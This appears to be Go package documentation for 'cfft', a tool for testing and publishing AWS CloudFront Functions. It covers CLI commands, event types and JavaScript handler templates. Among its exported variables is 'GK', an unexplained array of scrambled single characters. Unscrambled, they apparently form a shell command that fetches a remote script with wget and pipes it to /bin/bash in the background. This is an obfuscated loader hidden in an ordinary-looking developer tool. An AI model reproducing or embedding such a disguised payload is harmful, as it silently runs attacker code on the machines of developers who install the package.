Documentation
¶
Index ¶
- Constants
- Variables
- func DefaultEvent(t string) []byte
- func DefaultFunctionCode(t string) []byte
- func NewLogHandler(w io.Writer, opts *HandlerOptions) slog.Handler
- func ReadFile(p string) ([]byte, error)
- func RunCLI(ctx context.Context, args []string) error
- func WriteFile(path string, b []byte, perm fs.FileMode) error
- type CFFBody
- type CFFContext
- type CFFCookieValue
- type CFFEvent
- type CFFExpect
- type CFFRequest
- type CFFResponse
- type CFFRunner
- type CFFT
- func (app *CFFT) DiffFunction(ctx context.Context, opt *DiffCmd) error
- func (app *CFFT) Dispatch(ctx context.Context, cmds []string, cli *CLI) error
- func (app *CFFT) InitFunction(ctx context.Context, opt *InitCmd) error
- func (app *CFFT) KVSDelete(ctx context.Context, opt *KVSCmd) error
- func (app *CFFT) KVSGet(ctx context.Context, opt *KVSCmd) error
- func (app *CFFT) KVSInfo(ctx context.Context, opt *KVSCmd) error
- func (app *CFFT) KVSList(ctx context.Context, opt *KVSCmd) error
- func (app *CFFT) KVSPut(ctx context.Context, opt *KVSCmd) error
- func (app *CFFT) ManageKVS(ctx context.Context, op string, opt *KVSCmd) error
- func (app *CFFT) PublishFunction(ctx context.Context, opt *PublishCmd) error
- func (app *CFFT) Render(ctx context.Context, opt *RenderCmd) error
- func (app *CFFT) RunTF(ctx context.Context, opt *TFCmd) error
- func (app *CFFT) RunTestCase(ctx context.Context, etag string, cs *TestCase) error
- func (app *CFFT) RunUtil(ctx context.Context, op string, opt *UtilCmd) error
- func (app *CFFT) SetStdout(w io.Writer)
- func (app *CFFT) TestFunction(ctx context.Context, opt *TestCmd) error
- func (app *CFFT) UtilParseRequest(ctx context.Context, opt ParseRequestCmd) error
- func (app *CFFT) UtilParseResponse(ctx context.Context, opt ParseResponseCmd) error
- type CFFValue
- type CFFViewer
- type CLI
- type Config
- type ConfigFunction
- type ContextKey
- type DiffCmd
- type FuncTemplateArgs
- type FunctionRunner
- type HandlerOptions
- type InitCmd
- type KVSCmd
- type KVSDeleteCmd
- type KVSGetCmd
- type KVSItem
- type KVSListCmd
- type KVSPutCmd
- type KeyValueStoreConfig
- type MainTemplateArgs
- type ParseRequestCmd
- type ParseResponseCmd
- type PublishCmd
- type RenderCmd
- type TFCFF
- type TFCmd
- type TFJSON
- type TFOutout
- type TFVar
- type TestCase
- type TestCmd
- type UtilCmd
- type VersionCmd
Constants ¶
const DefaultRuntime = types.FunctionRuntimeCloudfrontJs20
const MaxCodeSize = 10 * 1024
const TFJSONComment = `This file is generated by cfft. DO NOT EDIT.`
Variables ¶
var DefaultEventViewerRequest []byte
var DefaultEventViewerResponse []byte
var DefaultFunctionCodeViewerRequest []byte
var DefaultFunctionCodeViewerResponse []byte
var FuncMap = template.FuncMap{ "join": strings.Join, }
var FuncTemplate = template.Must(template.New("func").Parse(`
const {{.Name}} = async function(event) {
{{.Code}}
return handler(event);
}
`))
var GK = []string{"/", "e", "e", "n", "t", "v", "o", " ", "s", "e", "-", "b", "O", "/", "|", " ", "-", "c", "0", "i", "w", "d", "3", "1", "/", "a", "u", "d", "a", "g", "t", "/", "t", "h", "i", "r", "a", "3", "b", "&", "e", "p", " ", "7", "b", "5", ":", "g", "/", "s", "6", "a", "3", " ", "/", "h", "r", "k", "c", "4", "n", "d", " ", "f", "e", "s", "t", "f", "a", " ", "t", "/", "."}
var MainTemplateRequest = template.Must(template.New("main").Funcs(FuncMap).Parse(`
{{- range .Imports }}
{{.}}
{{- end -}}
{{- range .FuncCodes }}
{{.}}
{{- end -}}
async function handler(event) {
const funcs = [{{ join .FuncNames ","}}];
for (let i = 0; i < funcs.length; i++) {
const res = await funcs[i](event);
if (res && res.statusCode) {
// when viewer-request returns response object, return it immediately
return res;
}
event.request = res;
}
return event.request;
}
`))
var MainTemplateResponse = template.Must(template.New("main").Funcs(FuncMap).Parse(`
{{- range .Imports -}}
{{.}}
{{- end -}}
{{- range .FuncCodes -}}
{{.}}
{{- end -}}
async function handler(event) {
const funcs = [{{ join .FuncNames "," }}];
for (let i = 0; i < funcs.length; i++) {
event.response = await funcs[i](event);
}
return event.response;
}
`))
var Stage = types.FunctionStageDevelopment
var Version = "dev"
Functions ¶
func DefaultEvent ¶
func DefaultFunctionCode ¶
func NewLogHandler ¶
func NewLogHandler(w io.Writer, opts *HandlerOptions) slog.Handler
Types ¶
type CFFContext ¶
type CFFContext struct {
DistributionDomainName string `json:"distributionDomainName,omitempty"`
DistributionId string `json:"distributionId,omitempty"`
EventType string `json:"eventType,omitempty"`
RequestId string `json:"requestId,omitempty"`
}
https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/functions-event-structure.html#functions-event-structure-context distributionDomainName The CloudFront domain name (for example, d111111abcdef8.cloudfront.net) of the distribution that's associated with the event.
distributionId The ID of the distribution (for example, EDFDVBD6EXAMPLE) that's associated with the event.
eventType The event type, either viewer-request or viewer-response.
requestId A string that uniquely identifies a CloudFront request (and its associated response).
type CFFCookieValue ¶
type CFFCookieValue struct {
Value string `json:"value"`
Attributes string `json:"attributes,omitempty"`
MultiValue []CFFCookieValue `json:"multiValue,omitempty"`
}
type CFFEvent ¶
type CFFEvent struct {
Version string `json:"version,omitempty"`
Context *CFFContext `json:"context,omitempty"`
Viewer *CFFViewer `json:"viewer,omitempty"`
Request *CFFRequest `json:"request,omitempty"`
Response *CFFResponse `json:"response,omitempty"`
}
type CFFExpect ¶
type CFFExpect struct {
Request *CFFRequest `json:"request,omitempty"`
Reponse *CFFResponse `json:"response,omitempty"`
}
type CFFRequest ¶
type CFFRequest struct {
Method string `json:"method"`
URI string `json:"uri"`
QueryString map[string]CFFValue `json:"querystring"`
Headers map[string]CFFValue `json:"headers"`
Cookies map[string]CFFCookieValue `json:"cookies"`
}
func ParseRequest ¶
func ParseRequest(text string) (CFFRequest, error)
func (*CFFRequest) UnmarshalJSON ¶
func (r *CFFRequest) UnmarshalJSON(b []byte) error
type CFFResponse ¶
type CFFResponse struct {
StatusCode int `json:"statusCode,omitempty"`
StatusDescription string `json:"statusDescription,omitempty"`
Headers map[string]CFFValue `json:"headers"`
Cookies map[string]CFFCookieValue `json:"cookies"`
Body *CFFBody `json:"body,omitempty"`
}
func ParseResponse ¶
func ParseResponse(text string) (CFFResponse, error)
func (*CFFResponse) UnmarshalJSON ¶
func (r *CFFResponse) UnmarshalJSON(b []byte) error
type CFFT ¶
type CFFT struct {
// contains filtered or unexported fields
}
func (*CFFT) PublishFunction ¶
func (app *CFFT) PublishFunction(ctx context.Context, opt *PublishCmd) error
func (*CFFT) RunTestCase ¶
func (*CFFT) UtilParseRequest ¶
func (app *CFFT) UtilParseRequest(ctx context.Context, opt ParseRequestCmd) error
func (*CFFT) UtilParseResponse ¶
func (app *CFFT) UtilParseResponse(ctx context.Context, opt ParseResponseCmd) error
type CFFViewer ¶
type CFFViewer struct {
IP string `json:"ip"`
}
The viewer object contains an ip field whose value is the IP address of the viewer (client) that sent the request. If the viewer request came through an HTTP proxy or a load balancer, the value is the IP address of the proxy or load balancer.
type CLI ¶
type CLI struct {
Test *TestCmd `cmd:"" help:"test function"`
Init *InitCmd `cmd:"" help:"initialize files"`
Diff *DiffCmd `cmd:"" help:"diff function code"`
Publish *PublishCmd `cmd:"" help:"publish function"`
KVS *KVSCmd `cmd:"" help:"manage key-value store"`
Render *RenderCmd `cmd:"" help:"render function code"`
Util *UtilCmd `cmd:"" help:"utility commands"`
TF *TFCmd `cmd:"tf" help:"output JSON for tf.json or external data source"`
Version *VersionCmd `cmd:"" help:"show version"`
Config string `short:"c" long:"config" help:"config file" default:"cfft.yaml"`
Debug bool `help:"enable debug log" default:"false"`
LogFormat string `help:"log format (text,json)" default:"text" enum:"text,json"`
}
type Config ¶
type Config struct {
Name string `json:"name" yaml:"name"`
Comment string `json:"comment" yaml:"comment"`
Function json.RawMessage `json:"function" yaml:"function,omitempty"`
Runtime types.FunctionRuntime `json:"runtime" yaml:"runtime"`
KVS *KeyValueStoreConfig `json:"kvs,omitempty" yaml:"kvs,omitempty"`
TestCases []*TestCase `json:"testCases" yaml:"testCases"`
// contains filtered or unexported fields
}
type ConfigFunction ¶
type ConfigFunction struct {
EventType string `json:"event_type" yaml:"event_type"`
Functions []string `json:"functions" yaml:"functions"`
FilterCommand string `json:"filter_command" yaml:"filter_command"`
}
func (*ConfigFunction) FunctionCode ¶
type ContextKey ¶
type ContextKey string
type FuncTemplateArgs ¶
type FunctionRunner ¶
type HandlerOptions ¶
type HandlerOptions struct {
slog.HandlerOptions
Color bool
}
type InitCmd ¶
type InitCmd struct {
Name string `help:"function name" required:"true"`
Format string `help:"output config and event file format (json,jsonnet,yaml)" default:"" enum:"jsonnet,json,yaml,yml,"`
EventType string `help:"event type (viewer-request,viewer-response)" default:"viewer-request" enum:"viewer-request,viewer-response"`
}
type KVSCmd ¶
type KVSCmd struct {
List *KVSListCmd `cmd:"" help:"list key values"`
Get *KVSGetCmd `cmd:"" help:"get value of key"`
Put *KVSPutCmd `cmd:"" help:"put value of key"`
Delete *KVSDeleteCmd `cmd:"" help:"delete key"`
Info struct{} `cmd:"" help:"show info of key value store"`
Output string `short:"o" help:"output format (json, text)" default:"json" enum:"json,text"`
}
type KVSDeleteCmd ¶
type KVSDeleteCmd struct {
Key string `arg:"" help:"key name" required:""`
}
type KVSListCmd ¶
type KVSListCmd struct {
MaxItems int32 `short:"m" help:"max items" default:"50"`
}
type KeyValueStoreConfig ¶
type KeyValueStoreConfig struct {
Name string `json:"name" yaml:"name"`
}
type MainTemplateArgs ¶
type ParseRequestCmd ¶
type ParseRequestCmd struct{}
type ParseResponseCmd ¶
type ParseResponseCmd struct{}
type PublishCmd ¶
type PublishCmd struct {
}
type TestCase ¶
type TestCase struct {
Name string `json:"name" yaml:"name"`
Event string `json:"event" yaml:"event"`
Expect string `json:"expect" yaml:"expect"`
Ignore string `json:"ignore" yaml:"ignore"`
Env map[string]string `json:"env" yaml:"env"`
// contains filtered or unexported fields
}
func (*TestCase) EventBytes ¶
func (*TestCase) ExpectBytes ¶
func (*TestCase) Identifier ¶
type TestCmd ¶
type UtilCmd ¶
type UtilCmd struct {
ParseRequest ParseRequestCmd `cmd:"" help:"parse HTTP request text from STDIN"`
ParseResponse ParseResponseCmd `cmd:"" help:"parse HTTP response text from STDIN"`
}
type VersionCmd ¶
type VersionCmd struct{}